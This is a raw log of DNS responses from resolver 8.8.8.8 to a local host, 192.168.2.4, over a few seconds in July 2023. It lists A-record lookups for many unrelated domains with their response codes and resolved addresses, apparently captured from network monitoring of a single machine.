Jul 27, 2023 21:53:57.598345995 CEST	8.8.8.8	192.168.2.4	0xf4a5	No error (0)	notis.ru		185.178.208.141	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.659149885 CEST	8.8.8.8	192.168.2.4	0x3fca	Name error (3)	www.jroy.net	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.720242023 CEST	8.8.8.8	192.168.2.4	0xbadb	No error (0)	pleszew.policja.gov.pl		91.229.22.126	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.770298004 CEST	8.8.8.8	192.168.2.4	0xbf14	No error (0)	wvs-net.de		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.770298004 CEST	8.8.8.8	192.168.2.4	0xbf14	No error (0)	wvs-net.de		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.786439896 CEST	8.8.8.8	192.168.2.4	0x2fd7	No error (0)	hyab.com		172.67.193.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.786439896 CEST	8.8.8.8	192.168.2.4	0x2fd7	No error (0)	hyab.com		104.21.65.224	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.790235043 CEST	8.8.8.8	192.168.2.4	0xa4f0	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.799374104 CEST	8.8.8.8	192.168.2.4	0x72a9	No error (0)	wolffkran.de		46.4.56.54	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.814615011 CEST	8.8.8.8	192.168.2.4	0xb11	No error (0)	nts-web.net		49.212.235.175	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.840698004 CEST	8.8.8.8	192.168.2.4	0x1221	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.895291090 CEST	8.8.8.8	192.168.2.4	0x6758	No error (0)	yasuma.com		61.200.81.21	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.919703007 CEST	8.8.8.8	192.168.2.4	0x1ec3	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.937921047 CEST	8.8.8.8	192.168.2.4	0x9be9	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.947388887 CEST	8.8.8.8	192.168.2.4	0x8a5d	No error (0)	cubodown.com		104.21.30.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.947388887 CEST	8.8.8.8	192.168.2.4	0x8a5d	No error (0)	cubodown.com		172.67.150.50	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:57.964510918 CEST	8.8.8.8	192.168.2.4	0x314b	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.072231054 CEST	8.8.8.8	192.168.2.4	0xf448	No error (0)	ftchat.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.072231054 CEST	8.8.8.8	192.168.2.4	0xf448	No error (0)	ftchat.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.112358093 CEST	8.8.8.8	192.168.2.4	0xfd26	No error (0)	jsaps.com		49.212.235.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.131901979 CEST	8.8.8.8	192.168.2.4	0x4c42	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.189090014 CEST	8.8.8.8	192.168.2.4	0x7589	No error (0)	zugseil.com		92.42.191.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.207546949 CEST	8.8.8.8	192.168.2.4	0x78b7	No error (0)	ccssinc.com		172.67.185.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.207546949 CEST	8.8.8.8	192.168.2.4	0x78b7	No error (0)	ccssinc.com		104.21.19.68	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.221617937 CEST	8.8.8.8	192.168.2.4	0x5b48	No error (0)	shztm.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.331248045 CEST	8.8.8.8	192.168.2.4	0x8a10	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.347131968 CEST	8.8.8.8	192.168.2.4	0x409d	No error (0)	listel.co.jp		49.212.243.77	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.404423952 CEST	8.8.8.8	192.168.2.4	0xa18a	No error (0)	enguita.net		195.5.116.23	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.442651033 CEST	8.8.8.8	192.168.2.4	0x746	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.490410089 CEST	8.8.8.8	192.168.2.4	0xfc22	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.530678988 CEST	8.8.8.8	192.168.2.4	0x26e3	No error (0)	burstner.ru		62.122.170.171	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.533193111 CEST	8.8.8.8	192.168.2.4	0x8da9	No error (0)	revoldia.net		154.201.225.123	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.545159101 CEST	8.8.8.8	192.168.2.4	0xf110	No error (0)	indonesiamedia.com		74.208.215.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.594023943 CEST	8.8.8.8	192.168.2.4	0xa665	No error (0)	sinwal.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.594023943 CEST	8.8.8.8	192.168.2.4	0xa665	No error (0)	sinwal.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.597994089 CEST	8.8.8.8	192.168.2.4	0x8d1f	No error (0)	clinicasanluis.com.co		104.21.66.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.597994089 CEST	8.8.8.8	192.168.2.4	0x8d1f	No error (0)	clinicasanluis.com.co		172.67.164.178	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.631441116 CEST	8.8.8.8	192.168.2.4	0x82e3	No error (0)	dataform.co.uk		83.223.113.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.681690931 CEST	8.8.8.8	192.168.2.4	0x5256	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.697087049 CEST	8.8.8.8	192.168.2.4	0x6ede	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.723238945 CEST	8.8.8.8	192.168.2.4	0x612d	No error (0)	simetar.com		104.21.79.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.723238945 CEST	8.8.8.8	192.168.2.4	0x612d	No error (0)	simetar.com		172.67.146.154	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.729967117 CEST	8.8.8.8	192.168.2.4	0x45b4	No error (0)	ncn.de		46.30.60.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.754933119 CEST	8.8.8.8	192.168.2.4	0xd598	No error (0)	aiolos-sa.gr		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.754933119 CEST	8.8.8.8	192.168.2.4	0xd598	No error (0)	aiolos-sa.gr		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:58.855525017 CEST	8.8.8.8	192.168.2.4	0x95d5	No error (0)	zugseil.com		92.42.191.40	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.029259920 CEST	8.8.8.8	192.168.2.4	0xaccc	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.096010923 CEST	8.8.8.8	192.168.2.4	0xcae6	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.108475924 CEST	8.8.8.8	192.168.2.4	0x7d18	No error (0)	bible.org		104.20.55.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.108475924 CEST	8.8.8.8	192.168.2.4	0x7d18	No error (0)	bible.org		104.20.54.214	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.108475924 CEST	8.8.8.8	192.168.2.4	0x7d18	No error (0)	bible.org		172.67.33.95	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.108789921 CEST	8.8.8.8	192.168.2.4	0xb753	No error (0)	lpver.com		92.204.129.113	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.115719080 CEST	8.8.8.8	192.168.2.4	0x47b2	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.115719080 CEST	8.8.8.8	192.168.2.4	0x47b2	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.160072088 CEST	8.8.8.8	192.168.2.4	0x3d3f	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.285530090 CEST	8.8.8.8	192.168.2.4	0xdd94	No error (0)	isom.org		192.124.249.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.435527086 CEST	8.8.8.8	192.168.2.4	0xfeec	No error (0)	hchc.org		34.224.10.110	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.435527086 CEST	8.8.8.8	192.168.2.4	0xfeec	No error (0)	hchc.org		52.11.37.152	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.505975008 CEST	8.8.8.8	192.168.2.4	0xa826	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.530356884 CEST	8.8.8.8	192.168.2.4	0x6bdc	No error (0)	wantapc.net		157.7.107.49	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.566514969 CEST	8.8.8.8	192.168.2.4	0xb39a	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.589010954 CEST	8.8.8.8	192.168.2.4	0x29bc	No error (0)	ifesnet.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.589010954 CEST	8.8.8.8	192.168.2.4	0x29bc	No error (0)	ifesnet.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.599055052 CEST	8.8.8.8	192.168.2.4	0x749d	No error (0)	gcss.com		15.197.204.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.599055052 CEST	8.8.8.8	192.168.2.4	0x749d	No error (0)	gcss.com		3.33.243.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.599127054 CEST	8.8.8.8	192.168.2.4	0xe28a	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.603780031 CEST	8.8.8.8	192.168.2.4	0x183b	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.668658018 CEST	8.8.8.8	192.168.2.4	0xe8	Name error (3)	workplus.hu	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.691395044 CEST	8.8.8.8	192.168.2.4	0xbc80	No error (0)	beafin.com		133.125.38.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.894161940 CEST	8.8.8.8	192.168.2.4	0x7ca0	No error (0)	bossinst.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.919884920 CEST	8.8.8.8	192.168.2.4	0x7259	No error (0)	bggs.com		35.230.155.43	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.921494007 CEST	8.8.8.8	192.168.2.4	0x5372	No error (0)	vdoherty.com		91.216.241.100	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.956367016 CEST	8.8.8.8	192.168.2.4	0xd2f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:53:59.992305040 CEST	8.8.8.8	192.168.2.4	0x5310	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.030483961 CEST	8.8.8.8	192.168.2.4	0x2ebd	No error (0)	aba.org.eg		192.169.149.78	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.056792021 CEST	8.8.8.8	192.168.2.4	0xa275	No error (0)	gcss.com		15.197.204.56	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.056792021 CEST	8.8.8.8	192.168.2.4	0xa275	No error (0)	gcss.com		3.33.243.145	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.156544924 CEST	8.8.8.8	192.168.2.4	0xab59	No error (0)	websy.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.156544924 CEST	8.8.8.8	192.168.2.4	0xab59	No error (0)	websy.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.202241898 CEST	8.8.8.8	192.168.2.4	0x4a6	No error (0)	rokoron.com		211.13.204.3	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.396467924 CEST	8.8.8.8	192.168.2.4	0x37c6	No error (0)	duiops.net		135.125.108.170	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.428028107 CEST	8.8.8.8	192.168.2.4	0xe63	No error (0)	shiner.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.428028107 CEST	8.8.8.8	192.168.2.4	0xe63	No error (0)	shiner.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.435134888 CEST	8.8.8.8	192.168.2.4	0x7ebd	No error (0)	shittas.com		208.91.197.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.481158018 CEST	8.8.8.8	192.168.2.4	0xd2c3	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.516551971 CEST	8.8.8.8	192.168.2.4	0x55e0	No error (0)	kayoaiba.com		154.213.117.166	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.607650995 CEST	8.8.8.8	192.168.2.4	0x3e2e	No error (0)	nme.co.jp		203.0.113.0	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.631700993 CEST	8.8.8.8	192.168.2.4	0x4df8	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.643644094 CEST	8.8.8.8	192.168.2.4	0xb32d	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.643644094 CEST	8.8.8.8	192.168.2.4	0xb32d	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.643644094 CEST	8.8.8.8	192.168.2.4	0xb32d	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.707575083 CEST	8.8.8.8	192.168.2.4	0x14e2	Name error (3)	www.udesign.biz	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.790544987 CEST	8.8.8.8	192.168.2.4	0xba09	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.838551998 CEST	8.8.8.8	192.168.2.4	0x1fe6	Server failure (2)	someikan.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.892004967 CEST	8.8.8.8	192.168.2.4	0x2805	No error (0)	websy.com		13.248.169.48	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.892004967 CEST	8.8.8.8	192.168.2.4	0x2805	No error (0)	websy.com		76.223.54.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.931392908 CEST	8.8.8.8	192.168.2.4	0xf6d7	No error (0)	envogen.com		188.114.97.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.931392908 CEST	8.8.8.8	192.168.2.4	0xf6d7	No error (0)	envogen.com		188.114.96.7	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:00.997906923 CEST	8.8.8.8	192.168.2.4	0xd2f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.038712978 CEST	8.8.8.8	192.168.2.4	0x7f87	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.053617954 CEST	8.8.8.8	192.168.2.4	0xb005	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.072395086 CEST	8.8.8.8	192.168.2.4	0xf82	No error (0)	nettlinx.org		202.53.77.146	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.095628977 CEST	8.8.8.8	192.168.2.4	0x988b	No error (0)	tcpoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.095628977 CEST	8.8.8.8	192.168.2.4	0x988b	No error (0)	tcpoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.172478914 CEST	8.8.8.8	192.168.2.4	0x483f	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.201714993 CEST	8.8.8.8	192.168.2.4	0x8d29	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.330218077 CEST	8.8.8.8	192.168.2.4	0xe2ca	No error (0)	missnue.com		104.21.234.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.330218077 CEST	8.8.8.8	192.168.2.4	0xe2ca	No error (0)	missnue.com		104.21.234.120	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.386382103 CEST	8.8.8.8	192.168.2.4	0x8050	No error (0)	oh28ya.com		54.248.249.220	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.386382103 CEST	8.8.8.8	192.168.2.4	0x8050	No error (0)	oh28ya.com		54.95.64.130	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.396744967 CEST	8.8.8.8	192.168.2.4	0x2f4e	No error (0)	fortknox.bm		216.177.137.32	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.413475037 CEST	8.8.8.8	192.168.2.4	0x790c	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.620157003 CEST	8.8.8.8	192.168.2.4	0x4df8	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.632302046 CEST	8.8.8.8	192.168.2.4	0x1c14	No error (0)	missnue.com		104.21.234.120	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.632302046 CEST	8.8.8.8	192.168.2.4	0x1c14	No error (0)	missnue.com		104.21.234.121	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.679975986 CEST	8.8.8.8	192.168.2.4	0x3047	No error (0)	www.fnw.us	fnw.us		CNAME (Canonical name)	IN (0x0001)	false
Jul 27, 2023 21:54:01.679975986 CEST	8.8.8.8	192.168.2.4	0x3047	No error (0)	fnw.us		137.118.26.67	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.745457888 CEST	8.8.8.8	192.168.2.4	0x7702	No error (0)	mail.airmail.net		66.226.70.66	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.776648045 CEST	8.8.8.8	192.168.2.4	0x34e1	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.821296930 CEST	8.8.8.8	192.168.2.4	0x87b2	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.821296930 CEST	8.8.8.8	192.168.2.4	0x87b2	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.821296930 CEST	8.8.8.8	192.168.2.4	0x87b2	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.821296930 CEST	8.8.8.8	192.168.2.4	0x87b2	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.842945099 CEST	8.8.8.8	192.168.2.4	0x7033	No error (0)	slower.it		127.0.0.11	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.885579109 CEST	8.8.8.8	192.168.2.4	0x2e7b	No error (0)	touchfam.ca		15.197.142.173	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:01.885579109 CEST	8.8.8.8	192.168.2.4	0x2e7b	No error (0)	touchfam.ca		3.33.152.147	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.029892921 CEST	8.8.8.8	192.168.2.4	0xd525	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.051659107 CEST	8.8.8.8	192.168.2.4	0xd2f	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.076690912 CEST	8.8.8.8	192.168.2.4	0xb757	No error (0)	softizer.com		185.163.45.187	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.111223936 CEST	8.8.8.8	192.168.2.4	0x2dec	No error (0)	cbras.com		54.39.198.18	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.111637115 CEST	8.8.8.8	192.168.2.4	0xebf6	No error (0)	smitko.net		31.15.12.103	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.135226965 CEST	8.8.8.8	192.168.2.4	0xcc7b	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.354747057 CEST	8.8.8.8	192.168.2.4	0x2c94	No error (0)	nettle.pl		195.128.140.29	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.391103983 CEST	8.8.8.8	192.168.2.4	0xf8c1	No error (0)	noblesse.be		5.134.4.115	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.518903017 CEST	8.8.8.8	192.168.2.4	0xafc9	No error (0)	kamptal.at		128.204.134.138	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.522397041 CEST	8.8.8.8	192.168.2.4	0x26b5	No error (0)	gbp-jp.com		208.80.123.195	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.522397041 CEST	8.8.8.8	192.168.2.4	0x26b5	No error (0)	gbp-jp.com		208.80.122.2	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.522397041 CEST	8.8.8.8	192.168.2.4	0x26b5	No error (0)	gbp-jp.com		208.80.122.205	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.522397041 CEST	8.8.8.8	192.168.2.4	0x26b5	No error (0)	gbp-jp.com		208.80.123.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.551276922 CEST	8.8.8.8	192.168.2.4	0xa127	No error (0)	kustnara.com		75.2.70.75	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.551276922 CEST	8.8.8.8	192.168.2.4	0xa127	No error (0)	kustnara.com		99.83.190.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.551276922 CEST	8.8.8.8	192.168.2.4	0xa127	No error (0)	kustnara.com		13.248.155.104	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.551276922 CEST	8.8.8.8	192.168.2.4	0xa127	No error (0)	kustnara.com		76.223.27.102	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.621783018 CEST	8.8.8.8	192.168.2.4	0x6418	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.649111986 CEST	8.8.8.8	192.168.2.4	0x4df8	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.677371025 CEST	8.8.8.8	192.168.2.4	0x5cb6	No error (0)	stopllc.com		162.241.233.114	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.691029072 CEST	8.8.8.8	192.168.2.4	0x20ae	No error (0)	vvsteknik.dk		185.31.76.90	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.699968100 CEST	8.8.8.8	192.168.2.4	0xc056	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.719229937 CEST	8.8.8.8	192.168.2.4	0xf37b	No error (0)	ludomemo.com		27.0.174.59	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.737284899 CEST	8.8.8.8	192.168.2.4	0xd3d7	No error (0)	scip.org.uk		104.26.13.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.737284899 CEST	8.8.8.8	192.168.2.4	0xd3d7	No error (0)	scip.org.uk		104.26.12.244	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.737284899 CEST	8.8.8.8	192.168.2.4	0xd3d7	No error (0)	scip.org.uk		172.67.72.150	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.869973898 CEST	8.8.8.8	192.168.2.4	0x6274	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.878340960 CEST	8.8.8.8	192.168.2.4	0x3da7	No error (0)	top1oil.com		104.26.1.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.878340960 CEST	8.8.8.8	192.168.2.4	0x3da7	No error (0)	top1oil.com		104.26.0.82	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.878340960 CEST	8.8.8.8	192.168.2.4	0x3da7	No error (0)	top1oil.com		172.67.71.55	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.937199116 CEST	8.8.8.8	192.168.2.4	0x38dd	No error (0)	nolaoig.org		54.212.145.129	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.949352026 CEST	8.8.8.8	192.168.2.4	0x3644	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:02.987224102 CEST	8.8.8.8	192.168.2.4	0x2418	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.043253899 CEST	8.8.8.8	192.168.2.4	0xf24c	Name error (3)	grlawcc.com	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.063059092 CEST	8.8.8.8	192.168.2.4	0xe601	No error (0)	orbitgas.com		107.180.58.31	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.200455904 CEST	8.8.8.8	192.168.2.4	0x8a29	No error (0)	rtcasey.com		69.195.90.46	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.222429037 CEST	8.8.8.8	192.168.2.4	0x867b	No error (0)	paraski.org		94.130.164.242	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.301973104 CEST	8.8.8.8	192.168.2.4	0x1616	No error (0)	canasil.com		104.26.3.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.301973104 CEST	8.8.8.8	192.168.2.4	0x1616	No error (0)	canasil.com		172.67.68.180	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.301973104 CEST	8.8.8.8	192.168.2.4	0x1616	No error (0)	canasil.com		104.26.2.14	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.499109983 CEST	8.8.8.8	192.168.2.4	0x23ca	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.604703903 CEST	8.8.8.8	192.168.2.4	0xe09	No error (0)	amic.at		78.46.224.133	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.627252102 CEST	8.8.8.8	192.168.2.4	0x249d	Name error (3)	www.owsports.ca	none	none	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.753994942 CEST	8.8.8.8	192.168.2.4	0x6805	No error (0)	wanoa.com		159.89.244.183	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.753994942 CEST	8.8.8.8	192.168.2.4	0x6805	No error (0)	wanoa.com		164.90.244.158	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.834780931 CEST	8.8.8.8	192.168.2.4	0xd3d6	No error (0)	k-nikko.com		52.199.213.209	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.834780931 CEST	8.8.8.8	192.168.2.4	0xd3d6	No error (0)	k-nikko.com		54.150.159.238	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.847881079 CEST	8.8.8.8	192.168.2.4	0x59a6	No error (0)	gbmfg.com		151.101.2.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.847881079 CEST	8.8.8.8	192.168.2.4	0x59a6	No error (0)	gbmfg.com		151.101.66.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.847881079 CEST	8.8.8.8	192.168.2.4	0x59a6	No error (0)	gbmfg.com		151.101.130.132	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:03.847881079 CEST	8.8.8.8	192.168.2.4	0x59a6	No error (0)	gbmfg.com		151.101.194.132	A (IP address)	IN (0x0001)	false
